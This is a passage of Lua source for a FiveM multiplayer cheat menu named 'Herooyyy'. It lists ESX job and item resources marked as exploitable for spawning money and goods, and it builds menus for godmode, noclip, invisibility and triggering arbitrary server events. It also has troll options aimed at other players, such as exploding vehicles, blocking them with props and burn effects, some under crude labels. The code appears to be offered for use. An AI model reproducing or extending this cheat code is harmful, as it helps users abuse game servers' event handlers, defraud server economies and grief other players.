2808 ['Fisher'] = oTable.new{ 'Fish', 'fish' },
2809 ['Hunting'] = oTable.new{ 'Meat', 'meat'},
2810 ['Coke'] = oTable.new{ 'Coke', 'coke', 'Coke Bag', 'coke_pooch' },
2811 ['Weed'] = oTable.new{ 'Weed', 'weed', 'Weed Bag', 'weed_pooch' },
2812 ['Meth'] = oTable.new{ 'Meth', 'meth', 'Meth Bag', 'meth_pooch' },
2813 ['Opium'] = oTable.new{ 'Opium', 'opium', 'Opium Bag', 'opium_pooch' },
2814}
2815Herooyyy.menuTables.exploitableJobsTable.ItemRequires = {
2816 ['Fabric'] = 'Wool',
2817 ['Clothes'] = 'Fabric',
2818 ['Washed Stone'] = 'Stone',
2819 ['Diamond'] = 'Washed Stone',
2820 ['Coke Bag'] = 'coke',
2821 ['Weed Bag'] = 'weed',
2822 ['Meth Bag'] = 'meth',
2823 ['Opium Bag'] = 'opium'
2824}
2825Herooyyy.menuTables.exploitableJobsTable.Money = {
2826 'Fuel Delivery',
2827 'Car Thief',
2828 'DMV School',
2829 'Dirty Job',
2830 'Pizza Boy',
2831 'Ranger Job',
2832 'Garbage Job',
2833 'Car Thief',
2834 'Trucker Job',
2835 'Postal Job',
2836 'Banker Job',
2837}
2838Herooyyy.menuTables.exploitableJobsTable.Money.Value = {
2839 'esx_fueldelivery',
2840 'esx_carthief',
2841 'esx_dmvschool',
2842 'esx_godirtyjob',
2843 'esx_pizza',
2844 'esx_ranger',
2845 'esx_garbagejob',
2846 'esx_carthief',
2847 'esx_truckerjob',
2848 'esx_gopostaljob',
2849 'esx_banksecurity'
2850}
2851
2852--[[
2853 Add variables here for magic.
2854]]
2855
2856local be_aN2 = 'number'
2857
2858Herooyyy.keyBinds = {
2859 currentKeybindMenu = {
2860 label = 'Menu',
2861 handle = 'TAB',
2862 },
2863 currentKeybindHealth = {
2864 label = 'Re-fill Health',
2865 handle = nil,
2866 },
2867 currentKeybindArmour = {
2868 label = 'Re-fill Armour',
2869 handle = nil,
2870 },
2871 currentKeybindNoclip = {
2872 label = 'Toggle Noclip',
2873 handle = nil,
2874 },
2875 currentKeybindMagneto = {
2876 label = 'Toggle Magneto',
2877 handle = nil,
2878 },
2879}
2880
2881local currentCustomCrosshair = 1
2882local selectedCustomCrosshair = 1
2883local _be_aN2 = be_aN2
2884local customCrosshairOpts = {
2885 'Off',
2886 'Default',
2887 'Custom'
2888}
2889
2890Herooyyy.menuTables.customExploitableItems.Item = {
2891 'Repair Kit', 'Bandage', 'Medkit', 'Bitcoin', 'Gold', 'Jewels', 'Drill', 'Lockpick'
2892}
2893Herooyyy.menuTables.customExploitableItems.ItemDatabase = {
2894 ['Repair Kit'] = oTable.new{ 'Repair Kit', 'fixkit' },
2895 ['Bandage'] = oTable.new{ 'Bandage', 'bandage' },
2896 ['Medkit'] = oTable.new{ 'Medkit', 'medikit' },
2897 ['Bitcoin'] = oTable.new{ 'Bitcoin', 'bitcoin' },
2898 ['Gold'] = oTable.new{ 'Gold', 'gold' },
2899 ['Jewels'] = oTable.new{ 'Jewels', 'jewels' },
2900 ['Drill'] = oTable.new{ 'Drill', 'drill' },
2901 ['Lockpick'] = oTable.new{ 'Lockpick', 'lockpick' },
2902}
2903Herooyyy.menuTables.customExploitableItems.ItemRequires = {
2904 ['Repair Kit'] = 'fixkit',
2905 ['Bandage'] = 'bandage',
2906 ['Medkit'] = 'medikit',
2907 ['Bitcoin'] = 'bitcoin',
2908 ['Gold'] = 'gold',
2909 ['Jewels'] = 'jewels',
2910 ['Drill'] = 'drill',
2911 ['Lockpick'] = 'lockpick',
2912}
2913local currentESXJobPaycheck = 1
2914local selectedESXJobPaycheck = 1
2915local currentESXItemSpawn = 1
2916local selectedESXItemSpawn = 1
2917local currentESXHarvestItem = 1
2918local selectedESXHarvestItem = 1
2919local currentESXCustomItemSpawn = 1
2920local selectedESXCustomItemSpawn = 1
2921
2922local availableESXBossMenus = {'Police', 'Ambulance', 'Mechanic', 'Taxi', 'Cardealer', 'Gang', 'RealEstateAgent'}
2923local currentESXOpenBossMenu = 1
2924local selectedESXOpenBossMenu = 1
2925
2926--[[
2927 Menu settings.
2928]]
2929
2930local currentMenuX = 1
2931local selectedMenuX = 1
2932local currentMenuY = 4
2933local selectedMenuY = 4
2934local menuX = { 0.025, 0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 0.75 }
2935local menuY = { 0.025, 0.1, 0.2, 0.3, 0.425 }
2936
2937local currentMenuOptionsCount = 4
2938local selectedMenuOptionsCount = 4
2939local menuOptionsCount = { 5, 10, 11, 12, 13, 14, 15, 20, 25 }
2940
2941Herooyyy.comboBoxes = {
2942 [0] = {
2943 _words = {'Option 1', 'Option 2'},
2944 _current = 1,
2945 _selected = 1,
2946 },
2947 [1] = {
2948 _words = {'Lower', 'Raise'},
2949 _current = 1,
2950 _selected = 1,
2951 },
2952 [2] = {
2953 _words = {'jester3', 'elegy', 'sultanrs', 'coquette3', 'monster', 'banshee2', 'specter', 'xa21'},
2954 _current = 1,
2955 _selected = 1,
2956 },
2957 [3] = {
2958 _words = {'+1%', '+2%', '+4%', '+8%', '+16%', '+32%', '+64%', '+128%', '+256%', '+512%'},
2959 _actual = {1.0, 2.0, 4.0, 8.0, 16.0, 32.0, 64.0, 128.0, 256.0, 512.0},
2960 _current = 1,
2961 _selected = 1,
2962 },
2963 [4] = {
2964 _words = {'Gas Pump', 'Beach Fire', 'Gas Tank', 'UFO', 'Dildo', 'Toilet', 'Missile', 'Couch', 'Banana Party', 'Ramp'},
2965 _actual = {
2966 {'prop_gas_pump_1d', 'prop_gas_pump_1b', 'prop_gas_pump_old3', 'prop_gas_pump_1a'},
2967 'prop_beach_fire', 'prop_gas_tank_01a', 'p_spinning_anus_s', 'prop_cs_dildo_01', 'prop_ld_toilet_01', 'prop_ld_bomb_anim', 'prop_ld_farm_couch01',
2968 {'p_crahsed_heli_s', 'prop_rock_4_big2', 'prop_beachflag_le'},
2969 {'stt_prop_stunt_track_uturn', 'stt_prop_stunt_track_turnice', 'stt_prop_stunt_track_hill'}
2970 },
2971 _current = 1,
2972 _selected = 1,
2973 },
2974}
2975
2976pCreateThread(function()
2977 --[[themes]]
2978 local currentThemeIndex = 3
2979 local selectedThemeIndex = 3
2980
2981 local currentCheckboxIndex = 1
2982 local selectedCheckboxIndex = 1
2983
2984 --[[selfOptions]]
2985 local FastCB = {1.0, 1.09, 1.19, 1.29, 1.39, 1.49}
2986 local FastCBWords = {'+0%', '+20%', '+40%', '+60%', '+80%', '+100%'}
2987 local currentFastRunIndex = 1
2988 local selectedFastRunIndex = 1
2989 local currentFastSwimIndex = 1
2990 local selectedFastSwimIndex = 1
2991
2992 --[[allPlayersOptions]]
2993 local pedDensityX = {1.0, 0.8, 0.6, 0.4, 0.2, 0.1, 0.0}
2994 local pedDensityXCurrent = 1
2995 local pedDensityXSelectedf = 1
2996 local pedDensityXWords = {'Default', '-20%', '-40%', '-60%', '-80%', '-100%'}
2997 local pedDensityXSelected = 1
2998
2999 --[[selectedPlayerOptions]]
3000 local sPORamVehicleCurrent = 1
3001 local sPORamVehicleSelected = 1
3002 local sPORamVehicleX = 'bus'
3003 local sPORamVehicleWords = {'bus', 'monster', 'freight', 'bulldozer'}
3004
3005 --[[vehicleOptions]]
3006 local vehiclesEnginePowerBoostCurrent = 1
3007 local vehiclesEnginePowerBoostSelected = 1
3008 local vehiclesEngineTorqueBoostCurrent = 1
3009 local vehiclesEngineTorqueBoostSelected = 1
3010
3011 --[[weaponOptions]]
3012 local weaponOptionsSelected = nil
3013 local weaponOptionsSelectedWeapon = nil
3014 local weaponOptionsSelectedMod = nil
3015
3016 Herooyyy.createMenu('Herooyyy', 'Herooyyy')
3017 Herooyyy.setSubTitle('Herooyyy', 'herooyyy - final source')
3018 Herooyyy.createSubMenu('selfOptions', 'Herooyyy', 'Self Options')
3019 Herooyyy.createSubMenu('onlinePlayersOptions', 'Herooyyy', 'Online Players')
3020 Herooyyy.createSubMenu('visualOptions', 'Herooyyy', 'Visual Options')
3021 Herooyyy.createSubMenu('teleportOptions', 'Herooyyy', 'Teleport Options')
3022 Herooyyy.createSubMenu('vehicleOptions', 'Herooyyy', 'Vehicle Options')
3023 Herooyyy.createSubMenu('weaponOptions', 'Herooyyy', 'Weapon Options')
3024 Herooyyy.createSubMenu('serverOptions', 'Herooyyy', 'Server Options')
3025 Herooyyy.createSubMenu('menuSettings', 'Herooyyy', 'Menu Options')
3026
3027 Herooyyy.createSubMenu('selfSuperPowers', 'selfOptions', 'Super Powers')
3028 Herooyyy.createSubMenu('selfClothing', 'selfOptions', 'Clothing')
3029
3030 Herooyyy.createSubMenu('allPlayersOptions', 'onlinePlayersOptions', 'All Online Players')
3031 Herooyyy.createSubMenu('allPlayersOptionsTriggers', 'allPlayersOptions', 'All Online Players Triggers')
3032 Herooyyy.createSubMenu('selectedPlayerOptions', 'onlinePlayersOptions', 'Selected Player Options')
3033 Herooyyy.createSubMenu('selectedPlayerOptionsTriggers', 'selectedPlayerOptions', 'Selected Player Trigger Options')
3034 Herooyyy.createSubMenu('selectedPlayerOptionsTroll', 'selectedPlayerOptions', 'Selected Player Troll Options')
3035 Herooyyy.createSubMenu('selectedPlayerOptionsWeapon', 'selectedPlayerOptions', 'Selected Player Weapon Options')
3036
3037 Herooyyy.createSubMenu('visualOptionsESP', 'visualOptions', 'Visual ESP Options')
3038
3039 Herooyyy.createSubMenu('savedVehiclesOptions', 'vehicleOptions', 'Saved Vehicles Options')
3040 Herooyyy.createSubMenu('selectedSavedVehicleOptions', 'savedVehiclesOptions', 'Slected Saved Vehicle Options')
3041 Herooyyy.createSubMenu('vehicleLosSantosCustoms', 'vehicleOptions', 'Los Santos Customs')
3042 Herooyyy.createSubMenu('vehicleLosSantosCustomsCosmetics', 'vehicleLosSantosCustoms', 'Los Santos Customs | Cosmetics')
3043 Herooyyy.createSubMenu('vehicleLosSantosCustomsPerformance', 'vehicleLosSantosCustoms', 'Los Santos Customs | Performance')
3044
3045 for i, actual_i in pairs(Herooyyy.menuTables.vehiclePerformanceTable) do
3046 Herooyyy.createSubMenu('vehicleLosSantosCustomsPerformance'..actual_i.name, 'vehicleLosSantosCustomsPerformance', 'Los Santos Customs | '..actual_i.name)
3047 end
3048
3049 Herooyyy.createSubMenu('vehicleSpawnList', 'vehicleOptions', 'Vehicle Spawn Options')
3050 Herooyyy.createSubMenu('vehicleSpawnSelected', 'vehicleSpawnList', 'Select A Vehicle')
3051 Herooyyy.createSubMenu('vehicleSpawnSelectedOptions', 'vehicleSpawnSelected', 'Vehicle Spawn Selected')
3052
3053 Herooyyy.createSubMenu('weaponOptionsModification', 'weaponOptions', 'Weapon Modification')
3054 Herooyyy.createSubMenu('weaponOptionsTypes', 'weaponOptions', 'Weapon Type Selection')
3055 Herooyyy.createSubMenu('weaponOptionsTypeSelection', 'weaponOptionsTypes', 'Weapon Selection')
3056 Herooyyy.createSubMenu('weaponsModOptions', 'weaponOptionsTypeSelection', 'Weapon Options')
3057 Herooyyy.createSubMenu('weaponsModSelect', 'weaponsModOptions', 'Weapon Mod Options')
3058
3059 Herooyyy.createSubMenu('serverOptionsResources', 'serverOptions', 'Server Resources')
3060 Herooyyy.createSubMenu('serverOptionsResourcesSelected', 'serverOptionsResources', 'Selected Resource')
3061 Herooyyy.createSubMenu('serverOptionsResourcesSelectedCEvents', 'serverOptionsResourcesSelected', 'Selected Resource Client Events')
3062 Herooyyy.createSubMenu('serverOptionsResourcesSelectedSEvents', 'serverOptionsResourcesSelected', 'Selected Resource Server Events')
3063 Herooyyy.createSubMenu('serverOptionsTriggerEvents', 'serverOptions', 'Trigger Events')
3064 Herooyyy.createSubMenu('serverOptionsTriggerEventsESX', 'serverOptionsTriggerEvents', 'ESX Trigger Events')
3065 Herooyyy.createSubMenu('serverOptionsTriggerEventsVRP', 'serverOptionsTriggerEvents', 'vRP Trigger Events')
3066 Herooyyy.createSubMenu('serverOptionsTriggerEventsESXMoney', 'serverOptionsTriggerEventsESX', 'ESX Money Options')
3067
3068 Herooyyy.createSubMenu('credits', 'menuSettings', 'Menu Credits')
3069 Herooyyy.createSubMenu('keybindSettings', 'menuSettings', 'Keybind Settings')
3070
3071 Herooyyy.initTheme(1)
3072
3073 if Herooyyy.functions.doesResourceExist('es_extended') then
3074 Herooyyy.datastore.ESX = exports['es_extended']:getSharedObject()
3075 else
3076 Herooyyy.datastore.ESX = nil
3077 end
3078
3079 local introInteger = 0
3080 while Herooyyy.shouldShowMenu do
3081 Herooyyy.datastore.pLocalPlayer.cVehicle = GetVehiclePedIsUsing(Herooyyy.datastore.pLocalPlayer.pedId)
3082 Herooyyy.datastore.pLocalPlayer.pedId = PlayerPedId(-1)
3083
3084 if introInteger == 0 then
3085 introScaleform = Herooyyy.trashFunctions.initIntro('mp_big_message_freemode', '~r~herooyyy | Press TAB')
3086 DrawScaleformMovieFullscreen(introScaleform, 80, 80, 80, 80, 0)
3087 pCreateThread(function()
3088 while Herooyyy.shouldShowMenu do
3089 pWait(5000)
3090 introInteger = introInteger + 1
3091 end
3092 end)
3093 end
3094
3095 if Herooyyy.isMenuOpened('Herooyyy') then
3096 if Herooyyy.menuButton('Self Options', 'selfOptions', '', {dict = 'mpleaderboard', text = 'leaderboard_deaths_icon', color = Herooyyy.menuTabsColors.selfOptions}) then
3097 elseif Herooyyy.menuButton('Online Players', 'onlinePlayersOptions', '', {dict = 'mpleaderboard', text = 'leaderboard_friends_icon', color = Herooyyy.menuTabsColors.onlineOptions}) then
3098 elseif Herooyyy.menuButton('Visual Options', 'visualOptions', '', {dict = 'mpleaderboard', text = 'leaderboard_bikers_icon', color = Herooyyy.menuTabsColors.visualOptions}) then
3099 elseif Herooyyy.menuButton('Teleport Options', 'teleportOptions', '', {dict = 'mpleaderboard', text = 'leaderboard_star_icon', color = Herooyyy.menuTabsColors.teleportOptions}) then
3100 elseif Herooyyy.menuButton('Vehicle Options', 'vehicleOptions', '', {dict = 'mpleaderboard', text = 'leaderboard_steeringwheel_icon', color = Herooyyy.menuTabsColors.vehicleOptions}) then
3101 elseif Herooyyy.menuButton('Weapon Options', 'weaponOptions', '', {dict = 'mpleaderboard', text = 'leaderboard_kd_icon', color = Herooyyy.menuTabsColors.weaponOptions}) then
3102 elseif Herooyyy.menuButton('Server Options', 'serverOptions', '', {dict = 'mpleaderboard', text = 'leaderboard_globe_icon', color = Herooyyy.menuTabsColors.serverOptions}) then
3103 elseif Herooyyy.menuButton('Menu Options', 'menuSettings', '', {dict = 'mpleaderboard', text = 'leaderboard_position_icon', color = Herooyyy.menuTabsColors.menuOptions}) then
3104 end
3105
3106 Herooyyy.runDrawMenu()
3107 elseif Herooyyy.isMenuOpened('selfOptions') then
3108 if Herooyyy.menuButton('Super Powers', 'selfSuperPowers') then
3109 elseif Herooyyy.menuButton('Clothing', 'selfClothing') then
3110 elseif Herooyyy.checkBox('Godmode', Herooyyy.storedControls.godmode) then
3111 Herooyyy.storedControls.godmode = not Herooyyy.storedControls.godmode
3112 elseif Herooyyy.checkBox('Semi Godmode', Herooyyy.storedControls.semiGodmode) then
3113 Herooyyy.storedControls.semiGodmode = not Herooyyy.storedControls.semiGodmode
3114 elseif Herooyyy.checkBox('Infinite Stamina', Herooyyy.storedControls.infStamina) then
3115 Herooyyy.storedControls.infStamina = not Herooyyy.storedControls.infStamina
3116 elseif Herooyyy.checkBox('Noclip', Herooyyy.storedControls.noClip) then
3117 Herooyyy.functions.toggleNoclip()
3118 elseif Herooyyy.checkBox('No Ragdoll', Herooyyy.storedControls.noRagdoll) then
3119 Herooyyy.storedControls.noRagdoll = not Herooyyy.storedControls.noRagdoll
3120 elseif Herooyyy.checkBox('Never Wanted', Herooyyy.storedControls.neverWanted) then
3121 Herooyyy.storedControls.neverWanted = not Herooyyy.storedControls.neverWanted
3122 elseif Herooyyy.checkBox('Invisible', Herooyyy.storedControls.invisible) then
3123 Herooyyy.storedControls.invisible = not Herooyyy.storedControls.invisible
3124 elseif Herooyyy.button('Revive', 'Native') then
3125 Herooyyy.functions.nativeRevive()
3126 elseif Herooyyy.button('Suicide', 'Native') then
3127 Herooyyy.natives.setEntityHealth(Herooyyy.datastore.pLocalPlayer.pedId, 0)
3128 elseif Herooyyy.button('Refill Health', 'Native') then
3129 Herooyyy.natives.setEntityHealth(Herooyyy.datastore.pLocalPlayer.pedId, 200)
3130 Herooyyy.pushNotification('Health refilled', 5000)
3131 elseif Herooyyy.button('Refill Armour', 'Native') then
3132 Herooyyy.natives.setPedArmour(Herooyyy.datastore.pLocalPlayer.pedId, 200)
3133 Herooyyy.pushNotification('Armour refilled', 5000)
3134 elseif Herooyyy.button('Refill Stamina', 'Native') then
3135 ResetPlayerStamina(Herooyyy.datastore.pLocalPlayer.pedId)
3136 elseif Herooyyy.comboBox('Disappear From Chase', {'In the sky', 'Legion Square', 'Vespucci Beach', 'Sandy Shores', 'Blaine County'}, Herooyyy.storedControls.currentDisappearFromChase, Herooyyy.storedControls.selectedDisappearFromChase,
3137 function(currentIndex, selectedIndex)
3138 Herooyyy.storedControls.currentDisappearFromChase = currentIndex
3139 Herooyyy.storedControls.selectedDisappearFromChase = currentIndex
3140 end) then
3141 Herooyyy.functions.disappearFromChase()
3142 end
3143
3144 Herooyyy.runDrawMenu()
3145 elseif Herooyyy.isMenuOpened('selfSuperPowers') then
3146 if Herooyyy.button('Kill Nearby Peds', 'Native') then
3147 Herooyyy.functions.killNearbyPeds()
3148 elseif Herooyyy.checkBox('Super Jump', Herooyyy.storedControls.superJump) then
3149 Herooyyy.storedControls.superJump = not Herooyyy.storedControls.superJump
3150 elseif Herooyyy.checkBox('Magneto', Herooyyy.storedControls.magnetoMode) then
3151 Herooyyy.storedControls.magnetoMode = not Herooyyy.storedControls.magnetoMode
3152 Herooyyy.functions.magnetoMode()
3153 elseif Herooyyy.checkBox('Heat Vision', Herooyyy.storedControls.heatVision) then
3154 Herooyyy.storedControls.heatVision = not Herooyyy.storedControls.heatVision
3155 elseif Herooyyy.checkBox('Night Vision', Herooyyy.storedControls.nightVision) then
3156 Herooyyy.storedControls.nightVision = not Herooyyy.storedControls.nightVision
3157 elseif Herooyyy.checkBox('Become Tiny', Herooyyy.storedControls.tinyPlayer) then
3158 Herooyyy.storedControls.tinyPlayer = not Herooyyy.storedControls.tinyPlayer
3159 elseif Herooyyy.checkBox('Become The Flash', Herooyyy.storedControls.flashmanSP) then
3160 Herooyyy.storedControls.flashmanSP = not Herooyyy.storedControls.flashmanSP
3161 elseif Herooyyy.comboBoxSlider('Fast Run', FastCBWords, currentFastRunIndex, selectedFastRunIndex,
3162 function(currentIndex, selectedIndex)
3163 currentFastRunIndex = currentIndex
3164 selectedFastRunIndex = currentIndex
3165 FastRunMultiplier = FastCB[currentIndex]
3166 if not Herooyyy.storedControls.flashmanSP then
3167 SetRunSprintMultiplierForPlayer(PlayerId(), FastRunMultiplier)
3168 end
3169 end) then
3170 elseif Herooyyy.comboBoxSlider('Fast Swim', FastCBWords, currentFastSwimIndex, selectedFastSwimIndex,
3171 function(currentIndex, selectedIndex)
3172 currentFastSwimIndex = currentIndex
3173 selectedFastSwimIndex = currentIndex
3174 FastSwimMultiplier = FastCB[currentIndex]
3175 SetSwimMultiplierForPlayer(PlayerId(), FastSwimMultiplier)
3176 end) then
3177 end
3178
3179 Herooyyy.runDrawMenu()
3180 elseif Herooyyy.isMenuOpened('selfClothing') then
3181 if Herooyyy.button('Random Outfit', 'Native') then
3182 Herooyyy.functions.randomClothes(PlayerId())
3183 elseif Herooyyy.button('Nertigel\'s Outfit', 'Native') then
3184 Herooyyy.functions.resetAppearance()
3185 Herooyyy.functions.changeAppearance('HAIR', 32, 0)
3186 Herooyyy.functions.changeAppearance('HATS', 12, 0)
3187 Herooyyy.functions.changeAppearance('TORSO', 75, 0)
3188 Herooyyy.functions.changeAppearance('TORSO2', 20, 2)
3189 Herooyyy.functions.changeAppearance('LEGS', 20, 2)
3190 Herooyyy.functions.changeAppearance('HANDS', 0, 0)
3191 Herooyyy.functions.changeAppearance('GLASSES', 6, 2)
3192 Herooyyy.functions.changeAppearance('SHOES', 20, 3)
3193 elseif Herooyyy.button('Balla', 'Native') then
3194 Herooyyy.functions.resetAppearance()
3195 Herooyyy.functions.changeAppearance('HATS', 10, 7)
3196 Herooyyy.functions.changeAppearance('GLASSES', 17, 6)
3197 Herooyyy.functions.changeAppearance('MASK', 51, 6)
3198 Herooyyy.functions.changeAppearance('TORSO', 14, 0)
3199 Herooyyy.functions.changeAppearance('LEGS', 5, 9)
3200 Herooyyy.functions.changeAppearance('SHOES', 9, 5)
3201 Herooyyy.functions.changeAppearance('SPECIAL2', 23, 0)
3202 Herooyyy.functions.changeAppearance('TORSO2', 7, 9)
3203 elseif Herooyyy.button('SWAT', 'Native') then
3204 Herooyyy.functions.resetAppearance()
3205 Herooyyy.functions.changeAppearance('TORSO', 17, 0)
3206 Herooyyy.functions.changeAppearance('MASK', 56, 1)
3207 Herooyyy.functions.changeAppearance('HATS', 40, 0)
3208 Herooyyy.functions.changeAppearance('HAIR', 0, 0)
3209 Herooyyy.functions.changeAppearance('TORSO', 19, 0)
3210 Herooyyy.functions.changeAppearance('GLASSES', 0, 1)
3211 Herooyyy.functions.changeAppearance('LEGS', 34, 0)
3212 Herooyyy.functions.changeAppearance('SHOES', 25, 0)
3213 Herooyyy.functions.changeAppearance('SPECIAL', 0, 0)
3214 Herooyyy.functions.changeAppearance('SPECIAL2', 58, 0)
3215 Herooyyy.functions.changeAppearance('SPECIAL3', 4, 1)
3216 Herooyyy.functions.changeAppearance('TORSO2', 55, 0)
3217 Herooyyy.functions.changeAppearance('HANDS', 0, 0)
3218 elseif Herooyyy.button('Ghost', 'Native') then
3219 Herooyyy.functions.resetAppearance()
3220 Herooyyy.functions.changeAppearance('TORSO', 17, 0)
3221 Herooyyy.functions.changeAppearance('MASK', 29, 0)
3222 Herooyyy.functions.changeAppearance('HATS', 28, 0)
3223 Herooyyy.functions.changeAppearance('HAIR', 0, 0)
3224 Herooyyy.functions.changeAppearance('GLASSES', 0, 1)
3225 Herooyyy.functions.changeAppearance('LEGS', 31, 0)
3226 Herooyyy.functions.changeAppearance('SHOES', 24, 0)
3227 Herooyyy.functions.changeAppearance('SPECIAL', 30, 2)
3228 Herooyyy.functions.changeAppearance('SPECIAL2', 15, 0)
3229 Herooyyy.functions.changeAppearance('TORSO2', 50, 0)
3230 Herooyyy.functions.changeAppearance('HANDS', 0, 0)
3231 elseif Herooyyy.button('Elf', 'Native') then
3232 Herooyyy.functions.resetAppearance()
3233 Herooyyy.functions.changeAppearance('MASK', 34, 0)
3234 Herooyyy.functions.changeAppearance('TORSO', 4, 0)
3235 Herooyyy.functions.changeAppearance('LEGS', 19, 1)
3236 Herooyyy.functions.changeAppearance('SHOES', 22, 1)
3237 Herooyyy.functions.changeAppearance('SPECIAL1', 18, 0)
3238 Herooyyy.functions.changeAppearance('SPECIAL2', 28, 8)
3239 Herooyyy.functions.changeAppearance('TORSO2', 19, 1)
3240 elseif Herooyyy.button('Thug', 'Native') then
3241 Herooyyy.functions.resetAppearance()
3242 Herooyyy.functions.changeAppearance('HATS', 46, 1)
3243 Herooyyy.functions.changeAppearance('GLASSES', 17, 6)
3244 Herooyyy.functions.changeAppearance('MASK', 51, 7)
3245 Herooyyy.functions.changeAppearance('TORSO', 22, 0)
3246 Herooyyy.functions.changeAppearance('LEGS', 7, 0)
3247 Herooyyy.functions.changeAppearance('HANDS', 44, 0)
3248 Herooyyy.functions.changeAppearance('SHOES', 12, 6)
3249 Herooyyy.functions.changeAppearance('SPECIAL2', 15, 0)
3250 Herooyyy.functions.changeAppearance('TORSO2', 14, 7)
3251 elseif Herooyyy.button('Santa Claus', 'Native') then
3252 Herooyyy.functions.resetAppearance()
3253 Herooyyy.functions.changeAppearance('MASK', 8, 0)
3254 Herooyyy.functions.changeAppearance('TORSO', 12, 0)
3255 Herooyyy.functions.changeAppearance('LEGS', 19, 0)
3256 Herooyyy.functions.changeAppearance('SHOES', 4, 4)
3257 Herooyyy.functions.changeAppearance('SPECIAL1', 10, 0)
3258 Herooyyy.functions.changeAppearance('SPECIAL2', 21, 2)
3259 Herooyyy.functions.changeAppearance('TORSO2', 19, 0)
3260 elseif Herooyyy.button('Penguin', 'Native') then
3261 Herooyyy.functions.resetAppearance()
3262 Herooyyy.functions.changeAppearance('TORSO', 0, 0)
3263 Herooyyy.functions.changeAppearance('MASK', 31, 0)
3264 Herooyyy.functions.changeAppearance('HATS', 0, 0)
3265 Herooyyy.functions.changeAppearance('HAIR', 0, 0)
3266 Herooyyy.functions.changeAppearance('GLASSES', 0, 0)
3267 Herooyyy.functions.changeAppearance('LEGS', 32, 0)
3268 Herooyyy.functions.changeAppearance('SHOES', 17, 0)
3269 Herooyyy.functions.changeAppearance('SPECIAL1', 0, 0)
3270 Herooyyy.functions.changeAppearance('SPECIAL2', 57, 0)
3271 --[[Herooyyy.functions.changeAppearance('SPECIAL3', 0, 0)]]
3272 Herooyyy.functions.changeAppearance('TEXTURES', 0, 0)
3273 Herooyyy.functions.changeAppearance('TORSO2', 51, 0)
3274 Herooyyy.functions.changeAppearance('HANDS', 0, 0)
3275 elseif Herooyyy.button('Soldier', 'Native') then
3276 Herooyyy.functions.resetAppearance()
3277 Herooyyy.functions.changeAppearance('TORSO', 96, 0)
3278 Herooyyy.functions.changeAppearance('HATS', 40, 0)
3279 Herooyyy.functions.changeAppearance('MASK', 54, 0)
3280 Herooyyy.functions.changeAppearance('GLASSES', 0, 1)
3281 Herooyyy.functions.changeAppearance('LEGS', 34, 0)
3282 Herooyyy.functions.changeAppearance('SHOES', 25, 0)
3283 Herooyyy.functions.changeAppearance('SPECIAL1', 0, 0)
3284 Herooyyy.functions.changeAppearance('SPECIAL2', 15, 0)
3285 Herooyyy.functions.changeAppearance('TORSO2', 53, 0)
3286 Herooyyy.functions.changeAppearance('HANDS', 51, 0)
3287 elseif Herooyyy.button('Soldier 2', 'Native') then
3288 Herooyyy.functions.resetAppearance()
3289 Herooyyy.functions.changeAppearance('HATS', 40, 0)
3290 Herooyyy.functions.changeAppearance('MASK', 28, 0)
3291 Herooyyy.functions.changeAppearance('TORSO', 44, 0)
3292 Herooyyy.functions.changeAppearance('LEGS', 34, 0)
3293 Herooyyy.functions.changeAppearance('HANDS', 45, 0)
3294 Herooyyy.functions.changeAppearance('SHOES', 25, 0)
3295 Herooyyy.functions.changeAppearance('SPECIAL2', 56, 1)
3296 Herooyyy.functions.changeAppearance('TORSO2', 53, 0)
3297 end
3298
3299 Herooyyy.runDrawMenu()
3300 elseif Herooyyy.isMenuOpened('onlinePlayersOptions') then
3301 Herooyyy.setSubTitle('onlinePlayersOptions', #Herooyyy.natives.getActivePlayers()..' Player(s) Online')
3302 if Herooyyy.menuButton('All Players / World', 'allPlayersOptions') then
3303 else
3304 local playerlist = Herooyyy.natives.getActivePlayers()
3305 for i = 1, #playerlist do
3306 local currentPlayer = playerlist[i]
3307
3308 if Herooyyy.menuButton('~b~[C:'..currentPlayer..' | S:'..GetPlayerServerId(currentPlayer)..']~m~ '..GetPlayerName(currentPlayer)..Herooyyy.trashFunctions.getPlayerStatus(GetPlayerPed(currentPlayer)), 'selectedPlayerOptions') then
3309 selectedPlayer = currentPlayer
3310 end
3311 end
3312 end
3313
3314 Herooyyy.runDrawMenu()
3315 elseif Herooyyy.isMenuOpened('allPlayersOptions') then
3316 if Herooyyy.menuButton('Trigger Events', 'allPlayersOptionsTriggers') then
3317 elseif Herooyyy.button('Give Everyone Weapons', 'Native') then
3318 Herooyyy.functions.aPO.giveAllWeapons(false)
3319 elseif Herooyyy.button('Give Everyone Weapons As Pickups', 'Native') then
3320 Herooyyy.functions.aPO.giveAllWeapons(true)
3321 elseif Herooyyy.button('Rape Vehicles', 'Native') then
3322 Herooyyy.functions.aPO.rapeVehicles()
3323 elseif Herooyyy.button('Explode Vehicles', 'Native') then
3324 Herooyyy.functions.aPO.explodeCars()
3325 elseif Herooyyy.button('Clone Peds', 'Native') then
3326 Herooyyy.functions.aPO.clonePeds()
3327 elseif Herooyyy.button('Burn Effect', 'Native') then
3328 Herooyyy.functions.aPO.burnSFX()
3329 elseif Herooyyy.comboBox('Spawn Props', Herooyyy.comboBoxes[4]._words, Herooyyy.comboBoxes[4]._current, Herooyyy.comboBoxes[4]._selected,
3330 function(currentIndex, selectedIndex)
3331 Herooyyy.comboBoxes[4]._current = currentIndex
3332 Herooyyy.comboBoxes[4]._selected = currentIndex
3333 end) then
3334 if type(Herooyyy.comboBoxes[4]._actual[Herooyyy.comboBoxes[4]._selected]) == 'table' then
3335 for key, value in pairs(Herooyyy.comboBoxes[4]._actual[Herooyyy.comboBoxes[4]._selected]) do
3336 Herooyyy.functions.aPO.spawnTrollProp(Herooyyy.comboBoxes[4]._actual[Herooyyy.comboBoxes[4]._selected][key])
3337 end
3338 else
3339 Herooyyy.functions.aPO.spawnTrollProp(Herooyyy.comboBoxes[4]._actual[Herooyyy.comboBoxes[4]._selected])
3340 end
3341 elseif Herooyyy.comboBox('Prop Block', Herooyyy.menuTables.trollsPropBlock.words, Herooyyy.menuTables.trollsPropBlock.current, Herooyyy.menuTables.trollsPropBlock.selected,
3342 function(currentIndex, selectedIndex)
3343 Herooyyy.menuTables.trollsPropBlock.current = currentIndex
3344 Herooyyy.menuTables.trollsPropBlock.selected = currentIndex
3345 end)
3346 then
3347 Herooyyy.functions.aPO.propBlock(Herooyyy.menuTables.trollsPropBlock.selected)
3348 elseif Herooyyy.checkBox('Flying Cars', Herooyyy.storedControls.aPOFlyingCars) then
